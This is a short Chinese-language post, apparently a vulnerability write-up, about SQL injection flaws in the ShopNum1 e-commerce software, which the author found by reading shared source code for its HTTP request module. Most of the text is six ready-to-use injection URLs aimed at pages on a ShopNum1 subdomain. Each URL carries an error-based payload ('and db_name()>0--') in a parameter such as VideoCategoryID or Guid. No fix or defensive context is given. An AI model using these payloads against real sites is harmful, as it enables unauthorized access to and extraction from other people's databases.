朋友分享了下源码，发现shopnum1的ShopNum1HttpModule是处理Http请求的类

上图就是一个注入点，构造链接是/VideoSearchList.aspx?VideoCategoryID=
之后我批量查下使用ShopNum1HttpModule的文件，发现好多问题：

http://nrqiang.shopnum1.com/VideoSearchList.aspx?VideoCategoryID=1%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/VideoDetail.aspx?Guid=111%27%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/ProductListCategory.aspx?ProductCategoryID=1%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/ArticleDetail.aspx?guid=1%27%20and%20db_name()%3E0%20–
http://nrqiang.shopnum1.com/ArticleDetailNew.aspx?guid=1%27%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/HelpList.aspx?Guid=1%27%20and%20db_name()%3E0–